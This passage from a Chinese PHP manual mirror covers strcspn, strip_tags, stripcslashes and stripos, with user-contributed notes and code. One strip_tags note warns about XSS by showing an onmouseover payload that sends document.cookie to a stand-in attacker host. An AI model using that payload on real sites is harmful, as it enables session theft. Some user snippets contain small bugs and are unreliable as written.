print "de_CH: " . strcoll ($a, $b) . "\n"; // prints -2

 setlocale (LC_COLLATE, 'en_US');
 print "en_US: " . strcoll ($a, $b) . "\n"; // prints -2

?>

This is useful e. g. if want to sort an array by using strcoll:

<?php

 $a = array ('a', 'A', '?', '?', 'b', 'B');

 setlocale (LC_COLLATE, 'C');
 usort ($a, 'strcoll');
 print_r ($a);

?>

This is like sort($a):
 Array
 (
    [0] => A
    [1] => B
  [2] => a
    [3] => b
    [4] => ?
    [5] => ?
 )

<?php

 setlocale (LC_COLLATE, 'de_DE');
usort ($a, 'strcoll');
 print_r ($a)

?>
This is completely different:
 Array
 (
    [0] => a
    [1] => A
    [2] => ?
    [3] => ?
    [4] => b
  [5] => B
 )
27-Aug-2002 07:05
Note that some platforms implement strcmp() and strcasecmp() according to the current locale when strings are not binary equal, so that strcmp() and strcoll() will return the same value! This depends on how the PHP strcmp() function is compiled (i.e. if it uses the platform specific strcmp() found in its standard library!).
In that case, the only difference between strcoll() and strcmp() is that strcoll() may return 0 for distinct strings(i.e. consider strings are equal) while strcmp() will differentiate them if they have distinct binary encoding! This typically occurs on Asian systems.
What you can be sure is that strcmp() will always differentiate strings that are encoded differently, but the relative order may still use the current locale setting for collation order!


获取不匹配遮罩的起始子字符串的长度

  • ? strcoll
  • strip_tags ?
  • PHP Manual
  • 字符串 函数
  • 获取不匹配遮罩的起始子字符串的长度

strcspn

(PHP 4, PHP 5, PHP 7)

strcspn — 获取不匹配遮罩的起始子字符串的长度

说明

strcspn ( string $str1 , string $str2 [, int $start [, int $length ]] ) : int

返回 str1 中，所有字符都不存在于 str2 范围的起始子字符串的长度。

参数

str1

第一个字符串。

str2

第二个字符串。

start

查找的起始位置。

length

查找的长度。

返回值

以整型数返回子串的长度。

范例

Example #1 strcspn() example

<?php
$a = strcspn('abcd',  'apple');
$b = strcspn('abcd',  'banana');
$c = strcspn('hello', 'l');
$d = strcspn('hello', 'world');

var_dump($a);
var_dump($b);
var_dump($c);
var_dump($d);
?>

以上例程会输出：

int(0)
int(0)
int(2)
int(2)

注释

Note: 此函数可安全用于二进制对象。

参见

  • strspn() - 计算字符串中全部字符都存在于指定字符集合中的第一段子串的长度。

User Contributed Notes

nospam at nospam dot com 02-Sep-2016 04:31
It might not be clear from the example, that

strcspn('abcdhelloabcd', 'abcd', -9, -5) == 4

because it's only evaluating 'hell' which doesn't contain any mask, so returns strlen('hell').
legacyprog at routinz dot net 09-Dec-2010 07:20
When you use the third parameter remember that the function will return the number of characters it bypassed, which will *not* be the position in your source string.  It's a simple fix to just add your third parameter value to the function result to get the position in the first string where the scan stopped, but I didn't think of it at first.
Anonymous 16-Oct-2009 10:55
strcspn() can also be thought of as analogous to the following regular expression:
<?php
// where ... represents the mask of characters
preg_match('/[^ ...]/', substr($subject, $start, $length) );
?>
By this analogy, strcspn() can be used in place of some regular expressions to match a pattern without the overhead of a regex engine -- for example, ways to verify if an input string represents a binary value:
<?php
preg_match('/^[01]+$/i', $subject);
// or...
!preg_match('/[^01]/i', $subject);

// ...or using strcspn()
!strcspn($subject, '01');
?>
AT-HE (at_he AT hotmai1 DOT com) 27-Dec-2005 02:07
this function can be used like strspn(), except while that can be used to compare a string with an allowed pattern, this one can be use to compare a string with a FORBIDDEN pattern

so, to know if any forbidden character has a position inside our string, we can use (not tested with backslashes)...

<?php
// LARGE VERSION
$forbidden="\"\\?*:/@|<>";
if (strlen($filename) != strcspn($filename,$forbidden)) {
    echo "you cant create a file with that name!";
}

// SHORT VERSION
if (strlen($filename) - strcspn($filename,"\"\\?*:/@|<>")) {
    echo "i told you, you cant create that file";
}
?>
maskedcoder at hotmail dot com 10-Oct-2005 04:13
useful for finding beginning of quotes and/or tags in a variable containing html.
    $pos = strcspn($data, '<"\'');
will find the first occurance of either the beginning of a tag, or a double- or single-quoted string.


从字符串中去除 HTML 和 PHP 标记

  • ? strcspn
  • stripcslashes ?
  • PHP Manual
  • 字符串 函数
  • 从字符串中去除 HTML 和 PHP 标记

strip_tags

(PHP 4, PHP 5, PHP 7)

strip_tags — 从字符串中去除 HTML 和 PHP 标记

说明

strip_tags ( string $str [, string $allowable_tags ] ) : string

该函数尝试返回给定的字符串 str 去除空字符、HTML 和 PHP 标记后的结果。它使用与函数 fgetss() 一样的机制去除标记。

参数

str

输入字符串。

allowable_tags

使用可选的第二个参数指定不被去除的字符列表。

Note:

HTML 注释和 PHP 标签也会被去除。这里是硬编码处理的，所以无法通过 allowable_tags 参数进行改变。

Note:

In PHP 5.3.4 and later, self-closing XHTML tags are ignored and only non-self-closing tags should be used in allowable_tags. For example, to allow both <br> and <br/>, you should use:

<?php
strip_tags($input, '<br>');
?>

返回值

返回处理后的字符串。

更新日志

版本 | 说明
5.3.4 | strip_tags() ignores self-closing XHTML tags in allowable_tags.
5.0.0 | strip_tags() 变为二进制安全的。

范例

Example #1 strip_tags() 范例

<?php
$text = '<p>Test paragraph.</p><!-- Comment --> <a href="#fragment">Other text</a>';
echo strip_tags($text);
echo "\n";

// 允许 <p> 和 <a>
echo strip_tags($text, '<p><a>');
?>

以上例程会输出：

Test paragraph. Other text
<p>Test paragraph.</p> <a href="#fragment">Other text</a>

注释

Warning

由于 strip_tags() 无法实际验证 HTML，不完整或者破损标签将导致更多的数据被删除。

Warning

该函数不会修改 allowable_tags 参数中指定的允许标记的任何属性，包括 style 和 onmouseover 属性，用户可能会在提交的内容中恶意滥用这些属性，从而展示给其他用户。

Note:

输入 HTML 标签名字如果大于 1023 字节(bytes)将会被认为是无效的，无论 allowable_tags 参数是怎样的。

参见

  • htmlspecialchars() - 将特殊字符转换为 HTML 实体

User Contributed Notes

D Mo 16-Apr-2018 12:23
When process a bulk of strings, the stripping of tags including their content on basis of regular expression is very slow. This function may help:

<?php
/**
 * Removes passed tags with their content.
 *
 * @param array $tagsToRemove List of tags to remove
 * @param $haystack String to cleanup
 * @return string
 */
function removeTagsWithTheirContent(array $tagsToRemove, $haystack)
{
    $currTag = '';
    $currPos = false;

    $initSearch = function (&$currTag, &$currPos, $tagsToRemove, $haystack) {
        $currTag = '';
        $currPos = false;
        foreach ($tagsToRemove as $tag) {
            $tempPos = stripos($haystack, '<'.$tag);
            if ($tempPos !== false && ($currPos === false || $tempPos < $currPos)) {
                $currPos = $tempPos;
                $currTag = $tag;
            }
        }
    };

    $substri_count = function ($haystack, $needle, $offset, $length) {
        $haystack = strtolower($haystack);
        return substr_count($haystack, $needle, $offset, $length);
    };

    $initSearch($currTag, $currPos, $tagsToRemove, $haystack);
    while ($currPos !== false) {
        $minTagLength = strlen($currTag) + 2;
        $tempPos = $currPos + $minTagLength;
        $tagEndPos = stripos($haystack, '</'.$currTag.'>', $tempPos);
        // process nested tags
        if ($tagEndPos !== false) {
            $nestedCount = $substri_count($haystack, '<' . $currTag, $tempPos, $tagEndPos - $tempPos);

            for ($i = $nestedCount; $i > 0; $i--) {
                $lastValidPos = $tagEndPos;
                $tagEndPos = stripos($haystack, '</' . $currTag . '>', $tagEndPos + 1);
                if ($tagEndPos === false) {
                    $tagEndPos = $lastValidPos;
                    break;
                }
            }
        }

        if ($tagEndPos === false) {
            // invalid html, end search for current tag
            $tagsToRemove = array_diff($tagsToRemove, [$currTag]);
        } else {
            // remove current tag with its content
            $haystack = substr($haystack, 0, $currPos)
                // get string after "</$tag>"
                .substr($haystack, $tagEndPos + strlen($currTag) + 3);
        }

        $initSearch($currTag, $currPos, $tagsToRemove, $haystack);
    }

    return $haystack;
}
?>
Anonymous 05-Apr-2017 12:05
Just bzplan's function with the option to choose what tags are replaced for

function rip_tags($string, $rep = ' ') {

    // ----- remove HTML TAGs -----
    $string = preg_replace ('/<[^>]*>/', $rep, $string);

    // ----- remove control characters -----
    $string = str_replace("\r", '', $string);    // --- replace with empty space
    $string = str_replace("\n", $rep, $string);   // --- replace with space
    $string = str_replace("\t", $rep, $string);   // --- replace with space

    // ----- remove multiple spaces -----
    $string = trim(preg_replace('/ {2,}/', $rep, $string));

    return $string;

}
stever at starburstpublishing dot com dot au 19-Sep-2016 06:09
Since strip_tags does not remove attributes and thus creates a potential XSS security hole, here is a small function I wrote to allow only specific tags with specific attributes and strip all other tags and attributes.

If you only allow formatting tags such as b, i, and p, and styling attributes such as class, id and style, this will strip all javascript including event triggers in formatting tags.

Note that allowing anchor tags or href attributes opens another potential security hole that this solution won't protect against. You'll need more comprehensive protection if you plan to allow links in your text.

<?php
function stripUnwantedTagsAndAttrs($html_str){
  $xml = new DOMDocument();
//Suppress warnings: proper error handling is beyond scope of example
  libxml_use_internal_errors(true);
//List the tags you want to allow here, NOTE you MUST allow html and body otherwise entire string will be cleared
  $allowed_tags = array("html", "body", "b", "br", "em", "hr", "i", "li", "ol", "p", "s", "span", "table", "tr", "td", "u", "ul");
//List the attributes you want to allow here
  $allowed_attrs = array ("class", "id", "style");
  if (!strlen($html_str)){return false;}
  if ($xml->loadHTML($html_str, LIBXML_HTML_NOIMPLIED | LIBXML_HTML_NODEFDTD)){
    foreach ($xml->getElementsByTagName("*") as $tag){
      if (!in_array($tag->tagName, $allowed_tags)){
        $tag->parentNode->removeChild($tag);
      }else{
        foreach ($tag->attributes as $attr){
          if (!in_array($attr->nodeName, $allowed_attrs)){
            $tag->removeAttribute($attr->nodeName);
          }
        }
      }
    }
  }
  return $xml->saveHTML();
}
?>
Trititaty 14-Dec-2015 09:28
Features:
* allowable tags (as in strip_tags),
* optional stripping attributes of the allowable tags,
* optional comment preserving,
* deleting broken and unclosed tags and comments,
* optional callback function call for every piece processed allowing for flexible replacements.

<?php
function better_strip_tags( $str, $allowable_tags = '', $strip_attrs = false, $preserve_comments = false, callable $callback = null ) {
  $allowable_tags = array_map( 'strtolower', array_filter( // lowercase
      preg_split( '/(?:>|^)\\s*(?:<|$)/', $allowable_tags, -1, PREG_SPLIT_NO_EMPTY ), // get tag names
      function( $tag ) { return preg_match( '/^[a-z][a-z0-9_]*$/i', $tag ); } // filter broken
  ) );
  $comments_and_stuff = preg_split( '/(<!--.*?(?:-->|$))/', $str, -1, PREG_SPLIT_DELIM_CAPTURE );
  foreach ( $comments_and_stuff as $i => $comment_or_stuff ) {
    if ( $i % 2 ) { // html comment
      if ( !( $preserve_comments && preg_match( '/<!--.*?-->/', $comment_or_stuff ) ) ) {
        $comments_and_stuff[$i] = '';
      }
    } else { // stuff between comments
      $tags_and_text = preg_split( "/(<(?:[^>\"']++|\"[^\"]*+(?:\"|$)|'[^']*+(?:'|$))*(?:>|$))/", $comment_or_stuff, -1, PREG_SPLIT_DELIM_CAPTURE );
      foreach ( $tags_and_text as $j => $tag_or_text ) {
        $is_broken = false;
        $is_allowable = true;
        $result = $tag_or_text;
        if ( $j % 2 ) { // tag
          if ( preg_match( "%^(</?)([a-z][a-z0-9_]*)\\b(?:[^>\"'/]++|/+?|\"[^\"]*\"|'[^']*')*?(/?>)%i", $tag_or_text, $matches ) ) {
            $tag = strtolower( $matches[2] );
            if ( in_array( $tag, $allowable_tags ) ) {
              if ( $strip_attrs ) {
                $opening = $matches[1];
                $closing = ( $opening === '</' ) ? '>' : $closing;
                $result = $opening . $tag . $closing;
              }
            } else {
              $is_allowable = false;
              $result = '';
            }
          } else {
            $is_broken = true;
            $result = '';
          }
        } else { // text
          $tag = false;
        }
        if ( !$is_broken && isset( $callback ) ) {
          // allow result modification
          call_user_func_array( $callback, array( &$result, $tag_or_text, $tag, $is_allowable ) );
        }
        $tags_and_text[$j] = $result;
      }
      $comments_and_stuff[$i] = implode( '', $tags_and_text );
    }
  }
  $str = implode( '', $comments_and_stuff );
  return $str;
}
?>

Callback arguments:
* &$result: contains text to be placed insted of original piece (e.g. empty string for forbidden tags), it can be changed;
* $tag_or_text: original piece of text or a tag (see below);
* $tag: false for text between tags, lowercase tag name for tags;
* $is_allowable: boolean telling if a tag isn't allowed (to avoid double checking), always true for text between tags
Callback function isn't called for comments and broken tags.

Caution: the function doesn't fully validate tags (the more so HTML itself), it just force strips those obviously broken (in addition to stripping forbidden tags). If you want to get valid tags then use strip_attrs option, though it doesn't guarantee tags are balanced or used in the appropriate context. For complex logic consider using DOM parser.
Dr. Gianluigi &#34;Zane&#34; Zanettini 22-Oct-2015 07:52
A word of caution. strip_tags() can actually be used for input validation as long as you remove ANY tag. As soon as you accept a single tag (2nd parameter), you are opening up a security hole such as this:

<acceptedTag onLoad="javascript:malicious()" />

Plus: regexing away attributes or code block is really not the right solution. For effective input validation when using strip_tags() with even a single tag accepted, http://htmlpurifier.org/ is the way to go.
doug at exploittheweb dot com 11-Aug-2015 10:17
"5.3.4    strip_tags() no longer strips self-closing XHTML tags unless the self-closing XHTML tag is also given in allowable_tags."

This is poorly worded.

The above seems to be saying that, since 5.3.4, if you don't specify "<br/>" in allowable_tags then "<br/>" will not be stripped... but that's not actually what they're trying to say.

What it means is, in versions prior to 5.3.4, it "strips self-closing XHTML tags unless the self-closing XHTML tag is also given in allowable_tags", and that since 5.3.4 this is no longer the case.

So what reads as "no longer strips self-closing tags (unless the self-closing XHTML tag is also given in allowable_tags)" is actually saying "no longer (strips self-closing tags unless the self-closing XHTML tag is also given in allowable_tags)".

i.e.

pre-5.3.4: strip_tags('Hello World<br><br/>','<br>') => 'Hello World<br>' // strips <br/> because it wasn't explicitly specified in allowable_tags

5.3.4 and later: strip_tags('Hello World<br><br/>','<br>') => 'Hello World<br><br/>' // does not strip <br/> because PHP matches it with <br> in allowable_tags
valentin dot boschatel at evalandgo dot com 26-May-2015 09:41
Hi,

I havee a problem with this function. I want use this symbol in my text ( < ), but it doesn't work because I added character stuck to that symbol.

Exemple :
<?php
$test = '<p><span style="color: #ff0000; background-color: #000000;">Complex</span> <span style="font-family: impact,chicago;">text <50% </span> <a href="http://exempledomain.com/"><em>with</em></a> <span style="font-size: 36pt;"><strong>tags</strong></span></p>';

echo strip_tags('$test');
// Outputs : Complex text
?>

I made a function for this :

Function:
<?php
function strip_tags_review($str, $allowable_tags = '') {

    preg_match_all('/<(.+?)[\s]*\/?[\s]*>/si', trim($allowable_tags), $tags);
    $tags = array_unique($tags[1]);

    if(is_array($tags) AND count($tags) > 0) {
        $pattern = '@<(?!(?:' . implode('|', $tags) . ')\b)(\w+)\b.*?>(.*?)</\1>@i';
    }
    else {
        $pattern = '@<(\w+)\b.*?>(.*?)</\1>@i';
    }

    $str = preg_replace($pattern, '$2', $str);
    return preg_match($pattern, $str) ? strip_tags_review($str, $allowable_tags) : $str;
}

echo strip_tags_review($test);
// Outputs: Complex text <50%  with tags

echo strip_tags_review($test, '<a>');
// Outputs: Complex text <50%  <a href="http://exempledomain.com">with</a> tags
?>
fernando at zauber dot es 10-Nov-2014 11:45
As you probably know, the native function strip_tags don't work very well with malformed HTML when you use the allowed tags parameter.
This is a very simple but effective function to remove html tags. It takes a list (array) of allowed tags as second parameter:

<?php
function flame_strip_tags($html, $allowed_tags=array()) {
  $allowed_tags=array_map(strtolower,$allowed_tags);
  $rhtml=preg_replace_callback('/<\/?([^>\s]+)[^>]*>/i', function ($matches) use (&$allowed_tags) {
    return in_array(strtolower($matches[1]),$allowed_tags)?$matches[0]:'';
  },$html);
  return $rhtml;
}
?>

The function works reasonably well with invalid/bad formatted HTML.

Use:

<?php
$allowed_tags=array("h1","a");
$html=<<<EOD
<h1>Example</h1>
<dt><a href='/manual/en/getting-started.php'>Getting Started</a></dt>
    <dd><a href='/manual/en/introduction.php'>Introduction</a></dd>
    <dd><a href='/manual/en/tutorial.php'>A simple tutorial</a></dd>
<dt><a href='/manual/en/langref.php'>Language Reference</a></dt>
    <dd><a href='/manual/en/language.basic-syntax.php'>Basic syntax</a></dd>
    <dd><a href='/manual/en/reserved.interfaces.php'>Predefined Interfaces and Classes</a></dd>
</dl>
EOD;
echo flame_strip_tags($html,$allowed_tags);
?>

The output will be:

<h1>Example</h1>
<a href='/manual/en/getting-started.php'>Getting Started</a>
<a href='/manual/en/introduction.php'>Introduction</a>
<a href='/manual/en/tutorial.php'>A simple tutorial</a>
<a href='/manual/en/langref.php'>Language Reference</a>
<a href='/manual/en/language.basic-syntax.php'>Basic syntax</a>
<a href='/manual/en/reserved.interfaces.php'>Predefined Interfaces and Classes</a>
bnt dot gloria at outlook dot com 10-Jul-2014 03:52
With allowable_tags, strip-tags is not safe.

<?php

$str= "<p onmouseover=\"window.location='http://www.theBad.com/?cookie='+document.cookie;\"> don't mouseover </p>";
$str= strip_tags($str, '<p>');
echo $str; // DISPLAY: <p onmouseover=\"window.location='http://www.theBad.com/?cookie='+document.cookie;\"> don't mouseover </p>";

?>
obeyer at popsugar dot com 10-Jan-2014 11:50
actually, for PHP 5.4.19, if you want to add line breaks <br> to allowable tags, you should use "<br>". Both <br/> and <br /> in allowable tags won't do anything, and line breaks will be stripped
bzplan at web dot de 07-Oct-2012 07:57
a HTML code like this:

<?php
$html = '
<div>
<p style="color:blue;">color is blue</p><p>size is <span style="font-size:200%;">huge</span></p>
<p>material is wood</p>
</div>
';
?>

with <?php $str = strip_tags($html); ?>
... the result is:

$str = 'color is bluesize is huge
material is wood';

notice: the words 'blue' and 'size' grow together :(
and line-breaks are still in new string $str

if you need a space between the words (and without line-break)
use my function: <?php $str = rip_tags($html); ?>
... the result is:

$str = 'color is blue size is huge material is wood';

the function:

<?php
// --------------------------------------------------------------

function rip_tags($string) {

    // ----- remove HTML TAGs -----
    $string = preg_replace ('/<[^>]*>/', ' ', $string);

    // ----- remove control characters -----
    $string = str_replace("\r", '', $string);    // --- replace with empty space
    $string = str_replace("\n", ' ', $string);   // --- replace with space
    $string = str_replace("\t", ' ', $string);   // --- replace with space

    // ----- remove multiple spaces -----
    $string = trim(preg_replace('/ {2,}/', ' ', $string));

    return $string;

}

// --------------------------------------------------------------
?>

the KEY is the regex pattern: '/<[^>]*>/'
instead of strip_tags()
... then remove control characters and multiple spaces
:)
tom at cowin dot us 27-Aug-2010 07:04
With most web based user input of more than a line of text, it seems I get 90% 'paste from Word'. I've developed this fn over time to try to strip all of this cruft out. A few things I do here are application specific, but if it helps you - great, if you can improve on it or have a better way - please - post it...

<?php

    function strip_word_html($text, $allowed_tags = '<b><i><sup><sub><em><strong><u><br>')
    {
        mb_regex_encoding('UTF-8');
        //replace MS special characters first
        $search = array('/&lsquo;/u', '/&rsquo;/u', '/&ldquo;/u', '/&rdquo;/u', '/&mdash;/u');
        $replace = array('\'', '\'', '"', '"', '-');
        $text = preg_replace($search, $replace, $text);
        //make sure _all_ html entities are converted to the plain ascii equivalents - it appears
        //in some MS headers, some html entities are encoded and some aren't
        $text = html_entity_decode($text, ENT_QUOTES, 'UTF-8');
        //try to strip out any C style comments first, since these, embedded in html comments, seem to
        //prevent strip_tags from removing html comments (MS Word introduced combination)
        if(mb_stripos($text, '/*') !== FALSE){
            $text = mb_eregi_replace('#/\*.*?\*/#s', '', $text, 'm');
        }
        //introduce a space into any arithmetic expressions that could be caught by strip_tags so that they won't be
        //'<1' becomes '< 1'(note: somewhat application specific)
        $text = preg_replace(array('/<([0-9]+)/'), array('< $1'), $text);
        $text = strip_tags($text, $allowed_tags);
        //eliminate extraneous whitespace from start and end of line, or anywhere there are two or more spaces, convert it to one
        $text = preg_replace(array('/^\s\s+/', '/\s\s+$/', '/\s\s+/u'), array('', '', ' '), $text);
        //strip out inline css and simplify style tags
        $search = array('#<(strong|b)[^>]*>(.*?)</(strong|b)>#isu', '#<(em|i)[^>]*>(.*?)</(em|i)>#isu', '#<u[^>]*>(.*?)</u>#isu');
        $replace = array('<b>$2</b>', '<i>$2</i>', '<u>$1</u>');
        $text = preg_replace($search, $replace, $text);
        //on some of the ?newer MS Word exports, where you get conditionals of the form 'if gte mso 9', etc., it appears
        //that whatever is in one of the html comments prevents strip_tags from eradicating the html comment that contains
        //some MS Style Definitions - this last bit gets rid of any leftover comments */
        $num_matches = preg_match_all("/\<!--/u", $text, $matches);
        if($num_matches){
              $text = preg_replace('/\<!--(.)*--\>/isu', '', $text);
        }
        return $text;
    }
?>
CEO at CarPool2Camp dot org 17-Feb-2009 11:10
Note the different outputs from different versions of the same tag:

<?php // striptags.php
$data = '<br>Each<br/>New<br />Line';
$new  = strip_tags($data, '<br>');
var_dump($new);  // OUTPUTS string(21) "<br>EachNew<br />Line"

<?php // striptags.php
$data = '<br>Each<br/>New<br />Line';
$new  = strip_tags($data, '<br/>');
var_dump($new); // OUTPUTS string(16) "Each<br/>NewLine"

<?php // striptags.php
$data = '<br>Each<br/>New<br />Line';
$new  = strip_tags($data, '<br />');
var_dump($new); // OUTPUTS string(11) "EachNewLine"
?>
mariusz.tarnaski at wp dot pl 12-Nov-2008 08:05
Hi. I made a function that removes the HTML tags along with their contents:

Function:
<?php
function strip_tags_content($text, $tags = '', $invert = FALSE) {

  preg_match_all('/<(.+?)[\s]*\/?[\s]*>/si', trim($tags), $tags);
  $tags = array_unique($tags[1]);

  if(is_array($tags) AND count($tags) > 0) {
    if($invert == FALSE) {
      return preg_replace('@<(?!(?:'. implode('|', $tags) .')\b)(\w+)\b.*?>.*?</\1>@si', '', $text);
    }
    else {
      return preg_replace('@<('. implode('|', $tags) .')\b.*?>.*?</\1>@si', '', $text);
    }
  }
  elseif($invert == FALSE) {
    return preg_replace('@<(\w+)\b.*?>.*?</\1>@si', '', $text);
  }
  return $text;
}
?>

Sample text:
$text = '<b>sample</b> text with <div>tags</div>';

Result for strip_tags($text):
sample text with tags

Result for strip_tags_content($text):
 text with

Result for strip_tags_content($text, '<b>'):
<b>sample</b> text with

Result for strip_tags_content($text, '<b>', TRUE);
 text with <div>tags</div>

I hope that someone is useful :)
cesar at nixar dot org 07-Mar-2006 11:44
Here is a recursive function for strip_tags like the one showed in the stripslashes manual page.

<?php
function strip_tags_deep($value)
{
  return is_array($value) ?
    array_map('strip_tags_deep', $value) :
    strip_tags($value);
}

// Example
$array = array('<b>Foo</b>', '<i>Bar</i>', array('<b>Foo</b>', '<i>Bar</i>'));
$array = strip_tags_deep($array);

// Output
print_r($array);
?>


反引用一个使用 addcslashes 转义的字符串

  • ? strip_tags
  • stripos ?
  • PHP Manual
  • 字符串 函数
  • 反引用一个使用 addcslashes 转义的字符串

stripcslashes

(PHP 4, PHP 5, PHP 7)

stripcslashes — 反引用一个使用 addcslashes() 转义的字符串

说明

stripcslashes ( string $str ) : string

返回反转义后的字符串。可识别类似 C 语言的 \n，\r，... 八进制以及十六进制的描述。

参数

str

需要反转义的字符串。

返回值

返回反转义后的字符串。

参见

  • addcslashes() - 以 C 语言风格使用反斜线转义字符串中的字符

User Contributed Notes

rafayhingoro[at]hotmail[dot]com 07-Feb-2017 11:00
stripcslashes does not simply skip the C-style escape sequences \a, \b, \f, \n, \r, \t and \v, but converts them to their actual meaning.

So
<?php
stripcslashes('\n') == "\n"; //true;

$str = "we are escaping \r\n"; //we are escaping

?>
jsmneo at dreamworkstudio dot net 04-Jul-2008 07:53
you might want to do a double stripslashes to completely remove 3 consecutive slashes

$stripped = 'this is a string with three\\\ slashes';
$stripped = stripslahses($stripped);
would output:
'this is a string with three\ slashes'

$stripped = 'this is a string with three\\\ slashes';
$stripped = stripslahses(stripslashes($stripped));
would output:
'this is a string with three slashes'
uramihsayibok, gmail, com 17-May-2008 09:09
> /*QUOTE
> stripcslashes('He\xallo') == 'He'."\n".'llo'
> stripcslashes('H\xaello') == 'H'.chr(0xAE).'llo'
> */
>
> You Can Use
>
> stripcslashes('H\xa0ello') == 'H'.chr(0xA0).'ello'
Correct. But not what (I think) you were trying to show.

>
> as xa0 = xa = chr(xA)
Not so correct.

Does 9==90? No, because that added zero *after* the number means something.
It's when you add a zero *before* the number does it not affect the value.

I'd like to assume that was a typo, but with the Internet as it is, who knows...
> You Can Use
>
> stripcslashes('H\x0aello') == 'H'.chr(0x0A).'ello'
fix'd


查找字符串首次出现的位置（不区分大小写）

  • ? stripcslashes
  • stripslashes ?
  • PHP Manual
  • 字符串 函数
  • 查找字符串首次出现的位置（不区分大小写）

stripos

(PHP 5, PHP 7)

stripos — 查找字符串首次出现的位置（不区分大小写）

说明

stripos ( string $haystack , string $needle [, int $offset = 0 ] ) : int

返回在字符串 haystack 中 needle 首次出现的数字位置。

与 strpos() 不同，stripos() 不区分大小写。

参数

haystack

在该字符串中查找。

needle

注意 needle 可以是一个单字符或者多字符的字符串。

如果 needle 不是一个字符串，那么它将被转换为整型并被视为字符顺序值。

offset

可选的 offset 参数，从字符此数量的开始位置进行搜索。 如果是负数，就从字符末尾此数量的字符数开始统计。

返回值

返回 needle 存在于 haystack 字符串开始的位置(独立于偏移量)。同时注意字符串位置起始于 0，而不是 1。

如果未发现 needle 将返回 FALSE。

Warning

此函数可能返回布尔值 FALSE，但也可能返回等同于 FALSE 的非布尔值。请阅读 布尔类型章节以获取更多信息。应使用 === 运算符来测试此函数的返回值。

更新日志

版本 | 说明
7.1.0 | 开始支持负数的 offset。

范例

Example #1 stripos() 范例

<?php
$findme    = 'a';
$mystring1 = 'xyz';
$mystring2 = 'ABC';

$pos1 = stripos($mystring1, $findme);
$pos2 = stripos($mystring2, $findme);

// 'a' 当然不在 'xyz' 中
if ($pos1 === false) {
    echo "The string '$findme' was not found in the string '$mystring1'";
}

// 注意这里使用的是 ===。简单的 == 不能像我们期望的那样工作，
// 因为 'a' 的位置是 0（第一个字符）。
if ($pos2 !== false) {
    echo "We found '$findme' in '$mystring2' at position $pos2";
}
?>

注释

Note: 此函数可安全用于二进制对象。

参见

  • mb_stripos() - 大小写不敏感地查找字符串在另一个字符串中首次出现的位置
  • strpos() - 查找字符串首次出现的位置
  • strrpos() - 计算指定字符串在目标字符串中最后一次出现的位置
  • strripos() - 计算指定字符串在目标字符串中最后一次出现的位置（不区分大小写）
  • stristr() - strstr 函数的忽略大小写版本
  • substr() - 返回字符串的子串
  • str_ireplace() - str_replace 的忽略大小写版本

User Contributed Notes

emanuel dot karlsson at rolfsbuss dot se 19-Aug-2018 02:07
Finding numbers in strings requires you to cast the number to string first.

strpos("123", 2) !== strpos("123", "2")
sorrynorealemail at example dot com 02-Aug-2018 01:48
Unlike strpos() it seems that stripos() does NOT issue a WARNING if the needle is an empty string ''.
Ian Macdonald 29-Aug-2015 10:25
Regarding the === note, it might be worth clarifying that the correct tests for a binary found/not found condition are  !==false to detect found, and ===false to detect not found.
spam at kleppinger dot com 04-Mar-2015 02:08
Regarding the function by spam at wikicms dot org

It is very bad practice to use the same function name as an existing php function but have a different output format.  Someone maintaining the code in the future is likely to be very confused by this.  It will also be hard to eradicate from a codebase because the naming is identical so each use of stripos() would have to be analyzed to see how it is expecting the output format (bool or number/bool).

Calling it string_found() or something like that would make a lot more sense for long-term use.
spam at wikicms dot org 15-Dec-2013 08:57
If you like using ternary operator, I wrote simple example how to use stripos function.
Also, in my example I add "How to use namespaces" for wide knowledges for newbies.

<?php
namespace My;

//You can be free using core functions in your NameSpaces (My)
function stripos($haystack, $needle) {
    //To call core function (from global NS) you should add backslash only - \func
    return (FALSE === \stripos($haystack, $needle)) ? FALSE : TRUE;
}

var_dump(stripos($haystack = 'John knows English language.', $needle = 'john')); //TRUE
var_dump(stripos($haystack = 'Sara knows English language too.', $needle = 'john')); //FALSE
?>
steve at opilo dot net 01-Jul-2013 04:38
A handy function if you need to adjust layout based on whether or not a string contains descending letters:

<?php function containsDescenders($text) {
    $descenders = array("g","j","p","q","y");
    foreach ($descenders as $letter) {
        if (stripos($text,$letter) !== false) {
            return true;
        }
    }
    return false;
} ?>
emperorshishire at gmail dot com 24-Feb-2009 07:31
I found myself needing to find the first position of multiple needles in one haystack.  So I wrote this little function:

<?php
function multineedle_stripos($haystack, $needles, $offset=0) {
    foreach($needles as $needle) {
        $found[$needle] = stripos($haystack, $needle, $offset);
    }
    return $found;
}

// It works as such:
$haystack = "The quick brown fox jumps over the lazy dog.";
$needle = array("fox", "dog", ".", "duck")
var_dump(multineedle_stripos($haystack, $needle));
/* Output:
   array(3) {
     ["fox"]=>
     int(16)
     ["dog"]=>
     int(40)
     ["."]=>
     int(43)
     ["duck"]=>
     bool(false)
   }
*/
?>
grf at post dot cz 20-Mar-2007 04:57
this would to work with any language, i hope.
tested on czech (eastern europe) lang.

<?php
/****************************************
*    SAFE HIGHLIGHT
****************************************/
/**
 * function finds and encase every string in a $needleArr array with
 * strings $shearLft (from the left side) and $shearRgt (guess from which
 * side).
 * already encased needles are IGNORED for any other step, so order
 * of needles in $needleArr is pretty important.
 *
 * function is searching needles in case-insensitive mode,
 * but case in the subject is saved.
 *
 * can you do it better? so, do it.
 *
 * @param array $needleArr array of needles
 * @param string $shearLft left shear
 * @param string $shearRgt right shear
 * @param string $subject subject
 * @param string $encoding encoding ('utf-8' is default)
 *
 * @author griffin
 */
function safeHighlight( $needleArr, $shearLft, $shearRgt, $subject, $encoding = 'utf-8')
{

    // encoding
    $e = $encoding;

    // oh, no needles
    if( !is_array( $needleArr))
        return $subject;

    // empty keys throw-off, only unique, reindex
    $nA = array_values(
            array_unique(
                array_diff( $needleArr, array(''))
            )
        );

    // needle count
    if( !($nC = count( $nA)))
        return $subject; // nothing to hl

    // shear length
    if( !(($rLL = mb_strlen( $rL = $shearLft, $e))
    + ($rRL = mb_strlen( $rR = $shearRgt, $e))))
        return $subject; // no shears

    // subject length
    if( !($sL = mb_strlen( $s = $subject, $e)))
        return null; // empty subject

    // subject in lowercase (we need to aviod
    // using mb_stripos due to PHP version)
    $sW = mb_strtolower( $s, $e);

    // masking ~ 0=not changed, 1=changed
    $m = str_repeat( '0', $sL);

    // loop for each needle
    for( $n=0; $n<$nC; $n++)
    {

        // needle string loWercase
        $nW = mb_strtolower( $nA[ $n], $e);

        $o = 0; // offset
        $nL = mb_strlen( $nW, $e); // needle length

        // search needle
